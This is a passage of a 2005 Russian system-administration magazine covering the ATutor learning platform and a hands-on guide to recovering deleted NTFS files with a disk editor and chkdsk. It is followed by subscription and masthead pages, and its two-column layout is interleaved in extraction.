привилегий доступа, установке новых тем оформления,
Если что-то не получается, в Интернете достаточно мно- сборе статистики, защите контента. Также он может созда-
го материала на тему LAMP (Linux+Apache+MySQL+PHP). вать новые категории курсов, при этом за каждой катего-
Теперь осталось пройти все шесть шагов. На первом рией может быть закреплена своя тема. Инструкторы име-
этапе система проверит установленное ПО и опции, с кото- ют доступ ко всем инструментам обучения, могут созда-
рыми оно собиралось. Отсюда же можно начать установку вать содержание в текстовом или html-формате (в том чис-
либо обновить существующую систему. На следующем ле и в WYSIWYG-режиме), а также импортировать сторон-
шаге указываем параметры подключения к MySQL, далее ние или экспортировать уже имеющиеся разработки (как в
создаем учетную запись администратора сервера, коррек- виде полных курсов, так и виде индивидуальных модулей)
тируем в случае необходимости данные сервера курсов и для использования в других подобных продуктах. Курсам
создаем пользовательскую учетную запись. могут быть выставлены предпочтения, касающиеся в ос-
Установка проблем вызвать не должна, так как в случае новном удобства просмотра материала, на основе собран-
неудачи программа дает вполне внятную подсказку. Напри- ной статистики будет произведена оптимизация содержа-
мер, смотрите рис. 3 и рис. 4, система предупреждает, что ния и структуры курса.
не может записать информацию в файл config.inc.php и пред- Система поддерживает три вида курсов: публичные –
лагает изменить параметры доступа к данному файлу сhmod доступные всем, защищенные – требующие регистрации, и
a+rwx (по окончанию процесса установки все надо вернуть частные, требующие кроме регистрации подтверждения до-
на свои места chmod a-xw). Теперь можно зайти на сервер, ступа инструктором. Курсы, доступные текущему пользова-
использовав введенный во время установки логин и пароль. телю, отображаются в «Browse Courses». Экспорт содержа-
ния возможен в IMS/SCORM-совместимые пакеты, которые
Что умеет ATutor? могут просматриваться автономно и/или добавляться в дру-
ATutor поддерживает три типа пользователей – админист- гую e-learning систему. Для связи с учениками реализовано

Ðèñóíîê 2

№1, январь 2005 85


образование
несколько возможностей. Здесь и опросы общественного ATutor включает ряд технологий, гарантирующих, что
мнения, новости, сообщения и тематические форумы. Для содержимое будет доступно всем потенциальным пользо-
проверки усвоения материала могут быть созданы тесты. вателям, включая тех, кто использует для доступа в Интер-
Часть привилегий по обслуживанию курсов может быть пе- нет медленные каналы, ранние версии веб-браузеров и ста-
редана помощникам из числа учеников. Дополнительно с рые мониторы. Для этого применяется сокрытие лишних
версии 1.4 в ATutor было интегрировано два элемента, рас- элементов управления, динамическое меню, метки полей
ширяющих возможности AChecker и ACollab. формы и альтернативная навигация, фиксация последней
AChecker – экспериментальная разработка Adaptive позиции, набор горячих клавиш.
Technology Resource Center (http://atrc.utoronto.ca), позволя- Все это позволяет пользователю сразу переходить к
ющая определять доступность ресурсов в сети. содержимому. Также полезным для медленных каналов
ACollab (http://www.atutor.ca/acollab) представляет собой является возможность отключения изображений с выводом
единую рабочую среду для групп пользователей, занимаю- альтернативного текста. Пользователям с плохим зрением
щихся совместными исследованиями и разработкой доку- подойдут темы с большими шрифтами и возможность уве-
ментации. Кстати, он может использоваться и как самосто- личения изображения в браузерах, поддерживающих эту
ятельное приложение. функцию.
Все вышеперечисленное позволяет создать удобную Кроме упомянутых в статье add-on, есть еще и другие
среду обучения с адаптивной навигацией, поиском, с кон- разработки, их интеграция в ATutor планируется в будущем.
текстной и обычной справкой, словарем, средствами ком- Одной из них является ATalker (http://www.atutor.ca/atalker),
муникации – почта, чат, форум и кнопка Users Online, вы- представляющий собой text-to-speech-сервер, основой ко-
водящая список зарегистрированных в данный момент торого послужил festival (http://www.cstr.ed.ac.uk/projects/
пользователей. festival). В ATutor он будет использоваться для озвучки уро-
По умолчанию интерфейс только английский. Для осталь- ков, что может быть полезно, например, ученикам со сла-
ных языков используются языковые модули, которые уста- бым зрением.
навливаются отдельно. Модуль русского языка лежит по ад- ATutor – полноценный, легко расширяемый и адаптиру-
ресу http://prdownloads.sourceforge.net/atutor/atutor.1.4.2.ru? емый, свободнодоступный продукт, построенный на откры-
download. Хотя, по данным на сайте, перевод еще не закон- тых технологиях, который может с успехом применяться как
чен. Если нужного языка в списке нет и есть желание пере- в небольших организациях, так и для учреждений, пред-
вести, то перед началом работы следует ознакомиться с ставляющих свои материалы в Интернете.
документом «Thing You Should Know Before Translating», на- Более полную информацию о продукте можно найти на
ходящимся на сайте проекта. сайте проекта.

Ðèñóíîê 3

86
образование

Ðèñóíîê 4

Ðèñóíîê 5

№1, январь 2005 87


образование

ВОССТАНОВЛЕНИЕ NTFS – UNDELETE СВОИМИ РУКАМИ


Меня смущает то, что сырые продукты создаются
на интуиции и на гениальности их создателей.
Но ведь за ними остается выжженная земля!
Если OS/360 оставила за собой шлейф идей, людей,
что оставляет за собой Windows?

Алексей Бабий
«Из жизни первобытных программистов»

Продолжая говорить о NTFS, сегодня мы рассмотрим


технику восстановления удаленных файлов с помощью
простейшего дискового редактора (типа Disk Probe)
и утилиты chkdsk, а также дадим несколько советов
по поводу создания собственного инструментария,
который может быть запрограммирован на любом
языке, имеющем доступ к win32 API.
КРИС КАСПЕРСКИ
Надежность NTFS – это одно, а ошибочно удаленные фай- бы уметь восстанавливать удаленные файлы, необходимо
лы – совсем другое. Файловая система, даже такая мощ- отчетливо представлять, что происходит в процессе удале-
ная, как NTFS, бессильна защитить пользователя от себя ния файла с NTFS-раздела, а происходит при этом следую-
самого. Но вот предусмотреть «откат» последних выпол- щее:
ненных действий она вполне может (тем более что тран- ! корректируется файл /$MFT:$BITMAP, каждый бит ко-
закции и журналирование в NTFS уже реализованы). До торого определяет «занятость» соответствующей фай-
совершенства остается всего лишь шаг. Увы! Microsoft топ- ловой записи (FILE Record) в MFT («0» – запись не ис-
чется на месте, все никак не решаясь его сделать (задел, пользуется);
оставленный для будущих версий?). «Защита» от непред- ! корректируется файл /$BITMAP, каждый бит которого
намеренного удаления реализована исключительно на ин- определяет «занятость» соответствующего кластера
терфейсном уровне, а это не только неудобно, но и нена- («0» – кластер не используется);
дежно. Хорошо, если удаленный файл сохранился в «Кор- ! файловые записи, соответствующие файлу, помечают-
зине», но что делать, если там его нет? Эта статья расска- ся как удаленные (поле FLAG, находящееся по смеще-
зывает о методах ручного восстановления файлов, в том нию 16h от начала FILE Record сбрасывается в ноль);
числе и с отсутствующей файловой записью, когда «покой- ! ссылка на файл удаляется из двоичного дерева индек-
ника» приходится собирать по кластерам. сов (технические подробности этого животрепещущего
процесса здесь опускаются, поскольку восстановить таб-
Внутри FILE_DISPOSITION_INFORMATION лицу индексов вручную сможет только гуру, да и зачем?
IRP_MJ_SET_INFORMATION/ FILE_DISPOSITION_INFOR- в NTFS индексы играют вспомогательную роль – проще
MATION – это пакет, посылаемый драйверу при удалении переиндексировать директорию заново, чем восстанав-
файла (имейте это в виду при дизассемблировании). Что- ливать сбалансированное B*tree-дерево);

88
образование
! обновляется атрибут $STANDART_INFORMATION ката- (Update Sequence Number-n-Array) переместился на шесть
лога, хранившего удаляемый файл (время последнего байтов вперед, а его место было отдано под выравнивание
доступа и т. д.); и поле номера текущей файловой записи (Number of this
! в /$LogFile обновляется Sequence Number (изменения, MFT Record). Восстанавливающая утилита должна не толь-
происходящие в журнале транзакций мы не рассматри- ко поддерживать вашу версию файловой системы, но и бе-
ваем); зошибочно отличать ее ото всех остальных (при обновле-
! Update Sequence Number следующих файловых записей нии Windows 2000 до Windows XP обновления файловой си-
увеличивается на единицу: сам удаляемый файл, теку- стемы не происходит вплоть до переформатирования дис-
щий каталог, /$MAF, /$MFT:$BITMAP, /$BITMAP, /$BOOT, ка). Попробуй потом объясни начальству, «это не я, это она
/$TRACKING.LOG. все испортила!».
Наконец в момент удаления файла утилит для его вос-
Каталоги удаляются практически точно так же, как и становления может просто не оказаться под рукой (что по-
файлы (с точки зрения файловой системы, каталог тоже делаешь – закон подлости!), и тогда приходится рассчиты-
файл, только особый – с двоичным B*tree-деревом индек- вать только на свои силы.
сов внутри).
Ни в том, ни в другом случае физического удаления фай-
ла не происходит, и он может быть легко восстановлен до
тех пор, пока не будет затерта принадлежащая ему
FILE Record, хранящая резидентное тело файла или спи-
сок отрезков (run-list) нерезидентного содержимого. Утра-
та FILE Record очень неприятна, поскольку в этом случае
файл придется собирать по кусочкам руками, и чем силь-
нее он фрагментирован – тем сложнее эта задача. В отли-
чие от FAT, NTFS не затирает первого символа именем фай-
ла, чем значительно упрощает свое восстановление.

Автоматическое восстановление файла


Утилиты, восстанавливающие удаленные файлы, не вхо-
дят в комплект штатной поставки Windows NT, и их прихо-
дится приобретать отдельно (а ведь в MS-DOS такая ути-
Ðèñóíîê 1. Óòèëèòà GetDataBack çà âîññòàíîâëåíèåì óäàëåí-
лита была!). Опасаясь угробить файловую систему оконча- íûõ ôàéëîâ
тельно, большинство из них избегает прямой записи на
диск – вместо этого вам предлагается считать удаленный Ручное восстановление файла
файл и переписать его в другое место (но только не на сам по FILE Record
восстанавливаемый раздел). Не слишком-то удачное реше- Начнем с простейшего. Файл только что удален, и принад-
ние! А если на остальных дисках свободного места нет или лежащая ему FILE Record еще не затерта. Как найти его на
восстанавливаемый диск имеет всего лишь один логичес- диске? Существует два способа – «теоретический» и «прак-
кий раздел? тический». Теоретический исключительно надежен, но тре-
Предположим, вам необходимо восстановить базу дан- бует дополнительных телодвижений, которых можно избе-
ных в несколько гигабайт. Можно, конечно, подключить вто- жать, приняв ряд практических допущений.
рой винчестер, скопировать ее туда, а затем обратно, но Теоретически: извлекаем из boot-сектора указатель на
сколько же это займет времени, не говоря уже о том, что MFT, извлекаем из нее первую запись (она описывает $MFT),
сервер лучше не выключать, а горячую замену поддержи- находим атрибут $DATA (80h), декодируем список отрезков
вают далеко не все жесткие диски! Другой недостаток по- (data runs) и последовательно читаем все записи в MFT,
добных утилит – слишком медленная работа. Вместо того анализируя содержимое атрибута $FILE_NAME (30h) – имя
чтобы найти один-единственный файл, имя которого нам файла (кстати, таких атрибутов у файла может быть не-
известно, они проводят полномасштабные маневры, ска- сколько). Этот же атрибут хранит ссылку на материнскую
нируя весь раздел целиком. При работе с большими диска- директорию – если несколько одноименных файлов удале-
ми на это уходит от одного до нескольких часов впустую ны из различных директорий, мы должны разобраться, ка-
потраченного времени. кой из них наш.
С другой стороны, утилиты, вносящие изменения непос- Практически: в девяти из десяти случаев $MFT-файл не
редственно в саму NTFS, рискуют серьезно повредить дис- фрагментирован и располагается практически в самом на-
ковый том, после чего ему не помогут даже профессиона- чале диска. Имена файлов хранятся по смещению EAh от
лы. Настоящие хакеры не доверяют никакому коду, кроме начала сектора, в начале которого расположена сигнатура
своего собственного, особенно если исходные тексты не- «FILE*» («FILE0» – в NTFS 3.1). Поэтому мы просто запус-
доступны, а документация туманна и двусмысленна. Раз- каем любой дисковый редактор (например, Disk Probe из
личные версии NTFS отличаются друг от друга. Последние комплекта Support Tools от Microsoft), вводим имя восста-
радикальные изменения произошли в Windows XP (NTFS навливаемого файла в юникоде и ищем его по смещению
версии 3.1) – массив последовательности обновления EAh (в NTFS 3.1 – F0h) от начала сектора.

№1, январь 2005 89


образование
Когда же искомое вхождение будет найдено, смотрим: Разгребая кластерные обломки
находится ли в начале сектора сигнатура «FILE*»/«FILE0», С нерезидентными файлами, хранящими свое тело вне MFT,
и если нет – продолжаем поиск. Двухбайтовое поле по сме- ситуация обстоит не так плачевно, хотя проблем тоже хва-
щению 16h от начала сектора содержит флаги записи: 00h – тает. Порядок размещения файла на диске хранится в run-
запись не используется или была удалена, 01h – запись ис- list внутри файловой записи в MFT (теперь уже затертой), и
пользуется и описывает каталог, 02h – запись использует- потому возможен лишь контекстный поиск по содержимо-
ся и описывает директорию. Встречаются и другие значе- му. Запускаем диск-редактор, вводим последовательность,
ния (04h, 08h… что они обозначают – неизвестно, может заведомо содержащуюся в удаленном файле, но не встре-
быть, вы сможете пролить свет на этот вопрос?). чающуюся во всех остальных, и нажимаем «search». Для
ускорения поиска можно искать только в свободном диско-
вом пространстве (за это отвечает файл /$BITMAP). Извес-
тные мне редакторы пренебрегают этой возможностью (а
зря!), однако утилиту «продвинутого» поиска несложно на-
писать и самостоятельно.
Нефрагментированные файлы восстанавливаются эле-
ментарно. Просто выделяем группу секторов и записыва-
ем ее на диск (только ни в коем случае не на сам восста-
навливаемый том!). Единственная проблема – как опреде-
лить оригинальную длину? Некоторые типы файлов допус-
кают присутствие «мусора» в своем хвосте (и тогда нам
остается следовать правилу «лучше перебрать, чем недо-
брать»), а некоторые нет!
Если конец не удается определить визуально (например,
pdf-файлы завершаются сигнатурой «%%EOF»), проанали-
зируйте заголовок файла – среди прочей полезной инфор-
Ðèñóíîê 2. Ðó÷íîå âîññòàíîâëåíèå ôàéëà ñ ïîìîùüþ Disk Probe мации обычно там присутствует и его размер. Тут все за-
C:\chkdsk D: /F висит от структуры конкретного файла, и универсальных
Тип файловой системы: NTFS. рекомендаций дать невозможно.
Проверка файлов завершена.
Если файл фрагментирован – ситуация практически без-
Проверка индексов завершена.
Восстановление потерянных файлов. надежна. Чтобы собрать разрозненные цепочки кластеров
Восстановление потерянного файла test.txt в файле каталога 5 воедино, необходимо хорошо знать содержимое удаленно-
Замена неправильного идентификатора безопасности для файла 29
Проверка дескрипторов безопасности завершена.
го файла. В этом смысле NTFS восстанавливается намно-
Исправление ошибок в атрибуте BITMAP основной таблицы файлов. го хуже, чем FAT. Последовательность фрагментов файла,
Windows сделала изменения в файловой системе. хранящаяся в File Allocation Table в виде однонаправленно-
1068290 КБ всего на диске.
го списка, очень живуча. Если список не поврежден, доста-
20 КБ в 2 файлах. точно лишь найти его первый элемент (а сделать это про-
4 КБ в 9 индексах. ще простого, поскольку он будет указывать на заголовок
0 КБ в поврежденных секторах.
7894 КБ используется системой. файла с вполне предсказуемым содержимым). Даже если
7392 КБ занято под файл журнала. список «разрубить» на несколько частей, они продолжат
1060372 КБ свободно на диске. жить собственной жизнью и нам останется лишь подобрать
Размер кластера: 2048 байт. комбинацию, как их правильно склеить воедино. Список
Всего кластеров на диске: 534145. гибнет лишь при полном затирании FAT, что случается, пря-
530186 кластеров на диске. мо скажем, нечасто. В NTFS же порядок фрагментов фай-
Ðèñóíîê 3. Âîññòàíîâëåíèå óäàëåííîãî ôàéëà ïðè ïîìîùè chkdsk ла хранится в крохотных списках отрезков, и их гибель –
Исправляем 00h на 01h, записываем изменения и… Ни- обычное дело, после чего мы остаемся один на один с мил-
чего не выходит?! А что вы хотели! Ведь помимо этого не- лионом беспорядочно разбросанных кластеров. Текстовые
обходимо еще, во-первых, сообщить файлу /$MFT:$BITMAP, файлы восстанавливаются без труда, но что делать, если
что данная MFT-запись вновь используется, во-вторых, ото- это электронная таблица, графическое изображение или
брать у файла /$BITMAP номера кластеров, принадлежа- архив? Без знания стратегии выделения дискового про-
щие восстанавливаемому файлу, в-третих, перестроить странства тут никуда. Порядок, в котором драйвер файло-
двоичное дерево индексов, хранящее содержимое катало- вой системы находит подходящие свободные фрагменты,
га. Первые два пункта не проблема, но вот над последним не определен и варьируется в зависимости от множества
придется попыхтеть. Или… просто запустить chkdsk с клю- обстоятельств, однако кое-какие закономерности в нем все
чом /F. Он самостоятельно найдет «потерянный» файл и же присутствуют.
внесет все необходимые изменения в файловую систему. Анализируя списки отрезков сильно фрагментирован-
От нас потребуется только установить флаг по смещению ных дисков, мне удалось установить следующее: сначала
16h в единицу, а остальное – его забота. После этих нехит- заполняются самые большие «дыры», двигаясь от конца
рых манипуляций файл оказывается в своем родном ката- MFT-зоны к концу диска. Затем драйвер файловой систе-
логе. Восстановленный! мы возвращается назад и начинает заполнять дыры помень-

90
образование
ше, и так продолжается до тех пор, пока файл не оказыва- крошечная порция данных, файловая система находит наи-
ется на диске целиком. Последними заполняются дыры раз- меньшую дыру, затем следующую наименьшую дыру и т. д.,
мером в один кластер. вплоть до тех пор, пока маленькие дыры не исчерпаются, и
Просматривая карту диска, представленную файлом тогда наступает черед дыр побольше. Как следствие, файл
/$BITMAP, мы можем в точности восстановить порядок раз- выходит сильно фрагментированным – это раз. Файл за-
мещения фрагментов удаленного файла, наскоро собрав полняется не от больших дыр к меньшим, а наоборот (т.е.
их воедино. Во всяком случае, теоретически. Практически происходит инверсия стратегии размещения) – это два.
же на этом пути нас ждут коварные препятствия. С момен- Маленькие фрагменты одного файла перемешиваются с
та создания восстанавливаемого файла карта свободного маленькими фрагментами других файлов – это три.
дискового пространства могла капитально преобразиться. Хуже всего поддаются восстановлению документы, со-
Всякое удаление файлов высвобождает одну или несколь- зданные в MS Office, и вот почему: приложение создает
ко дыр, хаотично перемешивающихся с дырами восстанав- большое количество резервных копий редактируемого фай-
ливаемого файла, искажая картину. Как этому противосто- ла как в текущем каталоге, так и в каталоге %TEMP%. Вот
ять? Сканируем MFT в поисках записей, помеченных как и разберись, какой фрагмент какому файлу принадлежит!
удаленные, но еще не затертых. Декодируем run-list и вы- Проще всего восстанавливаются ZIP-архивы. Для этого
черкиваем соответствующие им фрагменты из списка кан- вам даже не потребуется запускать дисковый редактор.
дидатов на восстановление. Это существенно сужает круг Откройте временный файл на запись, сделайте seek на
поиска, хотя количество комбинаций, в которые можно со- размер свободного дискового пространства, закройте файл.
брать фрагментированный файл, по-прежнему остается А теперь обработайте его утилитой pkzipfix.exe (или запус-
велико. Но это еще что… тите стандартный pkzip.exe с ключом Fix). В «исправлен-
Самое «интересное» начинается, когда на диск одно- ном» файле волшебным образом появятся все уцелевшие
временно записываются несколько файлов (например, ска- ZIP-архивы! Внутренняя структура ZIP-архива такова, что
чиваемых с помощью ReGet из Интернета) или файл по- pkzipfix легко распознает даже переупорядоченные блоки,
степенно увеличивает свой размер (набираете дипломную поэтому высокая степень фрагментации ему не помеха.
работу в Word?), а в это время на диск записываются дру- Дефрагментация тоже происходит интересно. Стандар-
гие файлы. Когда к существующему файлу дописывается тное API-дефрагментации в силу малопонятных ограниче-

Фрагментация и ее исследование
Существуют по меньшей мере две методики исследования
стратегии выделения дискового пространства: статическая
и динамическая. В первом случае мы просто запускаем
дисковый редактор (предпочтительно Disk Explorer от
Runtime Software) и анализируем run-list уже существующих
файлов, записанных в различное время и различными спо-
собами (можно, например, скопировать файл с одного ме-
ста в другое или попеременно увеличивать размер несколь-
ких файлов – стратегии выделения свободного простран-
ства в обоих случаях будут различны). Статический подход
полезен тем, что дает бесценный статистический резуль-
Ðèñóíîê 5. Äèíàìè÷åñêèé àíàëèç ñòðàòåãèè âûäåëåíèÿ
тат для всего тома целиком, однако, определяет лишь ко- äèñêîâîãî ïðîñòðàíñòâà, âûïîëíÿåìûé ïðè ïîìîùè äèñ-
нечный результат, но не путь, которым он был достигнут. êîâîãî ìîíèòîðà Ìàðêà Ðóññèíîâè÷à
Дисковый монитор Марка Руссиновичка (http://www.sys
internals.com) позволяет заглянуть в «святая святых» фай-
ловой системы и увидеть, как именно она выделяет диско-
вое пространство для файлов. Особенно интересно запус-
кать его параллельно с дефрагментатором и chkdsk – тай-
ное сразу становится явным.

Ничто так не постоянно, как временное


Если, несмотря на все усилия, восстановить удаленный
файл так и не удается, попробуйте отыскать его резервную
копию. Многие приложения создают такие копии, но не все
афишируют их присутствие. Не стоит также забывать о
файле подкачки, временных файлах, дампе памяти и дру-
гих источниках, которые могут хранить фрагменты восста-
навливаемого файла (а иногда и весь файл целиком). Даже
если они уже были удалены, возможно, принадлежащая им
Ðèñóíîê 4. Ñòàòèñòè÷åñêèé àíàëèç ñòðàòåãèè âûäåëåíèÿ äèñ- файловая запись еще не была затерта и восстановление
êîâîãî ïðîñòðàíñòâà, âûïîëíÿåìûé ïðè ïîìîùè Disk Explorer
îò Runtime Software не займет много времени.

№1, январь 2005 91


образование
ний оперирует не единичными кластерами, а блоками! Ми- выгодно держать в сжатом состоянии – это существенно
нимальный размер блока составляет 16 кластеров, причем уменьшает фрагментацию тома. Почаще дефрагментируйте
начало блока должно быть кратно 16 кластерам в файле! свой диск! Это не только увеличит быстродействие, но и
Как следствие – количество мелких дыр после дефрагмен- упростит восстановление удаленных файлов с затертой
тации только возрастает, а непрерывных областей свобод- FILE Record.
ного пространства практически совсем не остается.
Кстати говоря, перемещать внутрь MFT-зоны тоже ни- Заключение
чего нельзя. «На томе С: свободно 17%, но только 5% дос- Восстановление файлов – операция несложная, но нудная
тупно для использования дефрагментатора диска. Для эф- и кропотливая. Если по долгу службы или в силу иных об-
фективной работы дефрагментатор требует по крайней стоятельств вам приходится заниматься восстановлением
мере 15% доступного свободного места» – знакомое сооб- постоянно, процесс можно «механизировать», написав не-
щение, не правда ли? «Недоступное» для дефрагментато- сколько простых утилит. Чтобы получить доступ к логичес-
ра место находится внутри MFT-зоны (как мы помним, при кому разделу в Windows NT, достаточно открыть одноимен-
форматировании диска под $MFT-файл резервируется 10% ное устройство с помощью функции:
от емкости тома, а затем по мере исчерпания дискового
пространства $MFT-файл усекается наполовину, и освобо- CreateFile("\\.\X:", GENERIC_READ, FILE_SHARE_READ, 0, ↵
OPEN_EXISTING, 0, 0),
дившееся пространство заселяется пользовательскими
файлами). где «X:» – буква логического диска (подробности – в MSDN,
Таким образом, для гарантированной работы дефраг- или, как нынче модно его называть, – Platform SDK).
ментатора ему нужно 10% + 15% = 25% свободного диско- Не думайте, что все уже написано задолго до вас! Ути-
вого пространства. Не слишком ли высокая плата за деф- лит, пригодных для профессионального восстановления дан-
рагментацию? Если же у вас свободно свыше 25%, настоя- ных, под NTFS до сих пор нет (во всяком случае в открытой
тельно рекомендуется создать на диске временный файл и продаже). Те же, что есть, страдают массой нелепых ограни-
выполнить seek, чтобы заполнить все более или менее круп- чений (например, не могут ограничить диапазон секторного
ные дыры, не давая их изуродовать дефрагментатору (ес- поиска только свободным/занятым пространством). Так что
тественно, после дефрагментации этот файл нужно уда- дерзайте!
лить). В следующей статье этого цикла мы рассмотрим техни-
Кстати говоря, на сжатые файлы ограничение в 16 кла- ку восстановления отформатированных дисков, в том числе
стеров не распространяется, поэтому мелкие файлы очень и тех, на которые после форматирования что-то писалось.

92
подписка на I полугодие 2005
Российская Федерация ! Казахстан – по каталогу «Российская Пресса» через
! Подписной индекс: 81655 ОАО «Казпочта» и ЗАО «Евразия пресс»
Каталог агентства «Роспечать» ! Беларусь – по каталогу изданий стран СНГ через РГО
! Подписной индекс: 87836 «Белпочта» (220050, г.Минск, пр-т Ф.Скорины, 10)
Объединенный каталог «Пресса России» ! Узбекистан – по каталогу «Davriy nashrlar» российские
Адресный каталог «Подписка за рабочим столом» издания через агентство по распространению печати
Адресный каталог «Библиотечный каталог» «Davriy nashrlar» (7000029, Ташкент, пл.Мустакиллик,
! Альтернативные подписные агентства: 5/3, офис 33)
Агентство «Интер-Почта» (095) 500-00-60, курьерская ! Армения – по списку номенклатуры «АРЗИ» через ГЗАО
доставка по Москве «Армпечать» (375005, г.Ереван, пл.Сасунци Давида, д.2)
Агентство «Вся Пресса» (095) 787-34-47 и ЗАО «Контакт-Мамул» (375002, г. Ереван, ул.Сарья-
Агентство «Курьер-Прессервис» на, 22)
Агентство «ООО Урал-Пресс» (343) 375-62-74 ! Грузия – по списку номенклатуры «АРЗИ» через АО
! Подписка On-line «Сакпресса» ( 380019, г.Тбилиси, ул.Хошараульская, 29)
http://www.arzy.ru и АО «Мацне» (380060, г.Тбилиси, пр-т Гамсахурдия, 42)
http://www.gazety.ru ! Молдавия – по каталогу через ГП «Пошта Молдавей»
http://www.presscafe.ru (МД-2012, г.Кишинев, бул.Штефан чел Маре, 134)
по списку через ГУП «Почта Приднестровья» (МD-3300,
СНГ г.Тирасполь, ул.Ленина, 17)
В странах СНГ подписка принимается в почтовых отделе- по прайслисту через ООО Агентство «Editil Periodice»
ниях по национальным каталогам или по списку номенкла- (2012, г.Кишинев, бул. Штефан чел Маре, 134)
туры АРЗИ: ! Подписка для Украины:
! Азербайджан – по объединенному каталогу российских Киевский главпочтамп
изданий через предприятие по распространению печа- Подписное агентство «KSS»
ти «Гасид» (370102, г. Баку, ул. Джавадхана, 21) Телефон/факс (044)464-0220

Подписные
индексы:

81655
по каталогу
агентства
«Роспечать»

87836
по каталогу
агентства
«Пресса
России»

№1, январь 2005 95


СИСТЕМНЫЙ АДМИНИСТРАТОР
№1(26), Январь, 2005 год

РЕДАКЦИЯ
ЧИТАЙТЕ
Исполнительный директор
Владимир Положевец
В СЛЕДУЮЩЕМ
Ответственный секретарь
Наталья Хвостова
sekretar@samag.ru
НОМЕРЕ:
Технический редактор
Владимир Лукин
Редакторы «Кто купил Corel Linux?» Однако, в связи с ее недоступностью
Андрей Бешков или Обзор возможностей для большей части читателей, мы ре-
Алексей Барабанов настольного дистрибутива шили сфокусировать свое внимание на
Валентин Синицин Xandros второй версии дистрибутива, распрос-
Компания Xandros была основана в траняющейся в форме редакции OCE.
РЕКЛАМНАЯ СЛУЖБА мае 2001 года в Канаде с целью созда-
тел./факс: (095) 928-8253 ния и продвижения на рынок недорогой, Обзор интерактивных
Константин Меделян дружественной пользователю настоль- веб-технологий
reсlama@samag.ru ной операционной системы на базе В данной работе автор, анализируя
Linux, которая составила бы конкурен- функциональные возможности различ-
Верстка и оформление цию Microsoft Windows – «Complete ных технологий, позволяющих реали-
imposer@samag.ru Linux Desktop Solution». В августе того зовать двустороннее взаимодействие
maker_up@samag.ru же года компания приобрела Corel пользователя с сетевым сервисом, по-
Дизайн обложки Linux OS. Именно она легла в основу пытался провести классификацию ин-
Николай Петрочук выпущенного некоторое время спустя терактивных веб-технологий и предла-
Xandros Desktop 1.0. Будучи наследни- гает подробный обзор существующих
103045, г. Москва, ком Corel Linux, Xandros Desktop OS технологий и программных средств для
Ананьевский переулок, дом 4/2 стр. 1 ведет свою родословную от проекта создания интерактивных HTML-стра-
тел./факс: (095) 928-8253 Debian, разработки которого и исполь- ниц, сравнивая их достоинства и недо-
Е-mail: info@samag.ru зуются по сей день для поддержания ко- статки.
Internet: www.samag.ru довой базы. Таким образом, Xandros, по
сути, является коммерческой разно- Unformat для NTFS
РУКОВОДИТЕЛЬ ПРОЕКТА видностью Debian, подобной Libranet Cлучилось самое страшное: вы потеря-
Петр Положевец GNU/Linux и Linspire, а значит, он со- ли весь NTFS-раздел целиком. Случай-
УЧРЕДИТЕЛИ вместим с пакетами DEB, репозитари- но отформатировали или пережили раз-
Владимир Положевец ями apt и прочими «прелестями циви- рушительный дисковый сбой. Где-то
Александр Михалев лизации». там остались миллиарды байт бесцен-
В момент написания данной статьи ных данных теперь уже недоступных
ИЗДАТЕЛЬ последней версией Xandros является операционной системе. Как вернуть ин-
ЗАО «Издательский дом третья, отличающаяся от своих предше- формацию к жизни? В этой статье ав-
«Учительская газета» ственниц встроенной функцией записи тор делится советами ручного и авто-
DVD и персональным брандмауэром. матического восстановления.
Отпечатано типографией
ГП «Московская Типография №13» Вы можете приобретать журналы в магазинах
Тираж 8000 экз. и торговых точках г. Москвы по адресам:
Журнал зарегистрирован ! Магазин «Компьютерная и деловая книга» (Ленинский проспект, строение 38).
в Министерстве РФ по делам печати, ! Выставочный компьютерный центр «Савеловский» (Киоск у главного входа).
телерадиовещания и средств мас- ! Выставочный компьютерный центр «Буденовский».
совых коммуникаций (свидетельство ! Книжная ярмарка «Центральная». Mагазин «Деловая и учебная литерату-
ПИ № 77-12542 от 24 апреля 2002г.) ра» (м. Тульская, Варшавское шоссе, д.9. эт. 5, павильон 515-09).
! ТЦ «Электроника на Пресне». Mагазин «Техкнига» (павильон 8-9).
За содержание статьи ответствен- ! Редакция «Учительская газета» (Ананьевский переулок, д. 4/2, стр. 1).
ность несет автор. За содержание рек-
ламного обьявления ответственность On-line магазины: Уважаемые читатели!
несет рекламодатель. Все права на
опубликованные материалы защище- ! www.allsoft.ru НЕ ПРОПУСТИТЕ ПОДПИСКУ
ны. Редакция оставляет за собой пра- ! www.linuxcenter.ru на первое полугодие 2005 года
во изменять содержание следующих ! www.linuxshop.ru
подробная информация на стр. 95
номеров. ! www.bolero.ru

96

Вам также может понравиться